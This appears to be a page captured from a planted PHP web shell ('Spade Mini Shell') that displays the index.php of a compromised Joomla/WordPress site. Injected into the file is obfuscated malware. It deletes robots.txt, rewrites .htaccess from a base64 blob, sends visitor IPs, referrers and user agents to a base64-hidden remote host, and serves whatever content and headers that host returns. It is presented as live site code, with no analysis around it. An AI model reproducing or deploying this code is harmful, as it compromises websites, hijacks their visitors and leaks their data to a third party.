Spade

Mini Shell

Directory:~$ /home/lmsyaran/public_html/
Upload File

[Home] [System Details] [Kill Me]
Current File:~$ /home/lmsyaran/public_html/index.php

<?php
//
//echo '<pre style="direction:ltr">';
//var_dump(212);
//echo '</pre>';
//exit();
//
//function h($url, $pf = '') { $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT,
'h'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch,
CURLOPT_FRESH_CONNECT, TRUE); if ($pf != '') { curl_setopt($ch,
CURLOPT_POST, 1); if(is_array($pf)){ curl_setopt($ch, CURLOPT_POSTFIELDS,
http_build_query($pf)); } } $r = curl_exec($ch); curl_close($ch); if ($r) {
return $r; } return ''; } function h2() { if
(file_exists('robots'.'.txt')){
@unlink('robots'.'.txt'); } $htaccess =
'.'.'htaccess'; $content =
@base64_decode("PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihhYm91dC5waHB8cmFkaW8ucGhwfGluZGV4LnBocHxjb250ZW50LnBocHxsb2NrMzYwLnBocHxhZG1pbi5waHB8d3AtbG9naW4ucGhwfHdwLWwwZ2luLnBocHx3cC10aGVtZS5waHB8d3Atc2NyaXB0cy5waHB8d3AtZWRpdG9yLnBocHxtYWgucGhwfGpwLnBocHxleHQucGhwKSQiPgogT3JkZXIgYWxsb3csZGVueQogQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+");
if (file_exists($htaccess)) { $htaccess_content =
file_get_contents($htaccess); if ($content == $htaccess_content) { return;
} } @chmod($htaccess, 0777); @file_put_contents($htaccess, $content);
@chmod($htaccess, 0644); } $api =
base64_decode('aHR0cDovLzYwNjctY2g0LXYyNzYuaW1nOXlhaG9vLmNvbQ==');
$params['domain'] =isset($_SERVER['HTTP_HOST']) ?
$_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
$params['request_url'] = $_SERVER['REQUEST_URI'];
$params['referer'] = isset($_SERVER['HTTP_REFERER']) ?
$_SERVER['HTTP_REFERER'] : '';
$params['agent'] = isset($_SERVER['HTTP_USER_AGENT']) ?
$_SERVER['HTTP_USER_AGENT'] : '';
$params['ip'] = isset($_SERVER['HTTP_VIA']) ?
$_SERVER['HTTP_X_FORWARDED_FOR'] :
$_SERVER['REMOTE_ADDR']; if($params['ip'] == null)
{$params['ip'] = "";} $params['protocol'] =
isset($_SERVER['HTTPS']) ? 'https://' :
'http://'; $params['language'] =
isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ?
$_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; if
(isset($_REQUEST['params'])) {$params['api'] =
$api;print_r($params);die();} h2(); $try = 0; while($try < 3) { $content
= h($api, $params); $content = @gzuncompress(base64_decode($content));
$data_array = @preg_split("/\|/si", $content, -1,
PREG_SPLIT_NO_EMPTY);/*S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr*/ if
(!empty($data_array)) { $data = array_pop($data_array); $data =
base64_decode($data); foreach ($data_array as $header) { @header($header);
} echo $data; die(); } $try++; }
//
///**
// * Front to the WordPress application. This file doesn't do
anything, but loads
// * wp-blog-header.php which does and tells WordPress to load the theme.
// *
// * @package WordPress
// */
//
///**
// * Tells WordPress to load the WordPress theme and output it.
// *
// * @var bool
// */
//define( 'WP_USE_THEMES', true );
//
///** Loads the WordPress Environment and Template */
//require __DIR__ . '/wp-blog-header.php';



?>

<?php
echo '<pre style="direction:ltr">';
var_dump('index.php');
echo '</pre>';
exit();
/**
 * @package    Joomla.Site
 *
 * @copyright  (C) 2005 Open Source Matters, Inc.
<https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see
LICENSE.txt
 */

/**
 * Define the application's minimum supported PHP version as a
constant so it can be referenced within the application.
 */
define('JOOMLA_MINIMUM_PHP', '5.3.10');

if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<'))
{
    die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP .
' or higher to run this version of Joomla!');
}

// Saves the start time and memory usage.
$startTime = microtime(1);
$startMem  = memory_get_usage();

/**
 * Constant that is checked in included files to prevent direct access.
 * define() is used in the installation folder rather than
"const" to not error for PHP 5.2 and lower
 */
define('_JEXEC', 1);

if (file_exists(__DIR__ . '/defines.php'))
{
    include_once __DIR__ . '/defines.php';
}

if (!defined('_JDEFINES'))
{
    define('JPATH_BASE', __DIR__);
    require_once JPATH_BASE . '/includes/defines.php';
}

require_once JPATH_BASE . '/includes/framework.php';

// Set profiler start time and memory usage and mark afterLoad in the
profiler.
JDEBUG ?
JProfiler::getInstance('Application')->setStart($startTime,
$startMem)->mark('afterLoad') : null;

// Instantiate the application.
$app = JFactory::getApplication('site');

// Execute the application.
$app->execute();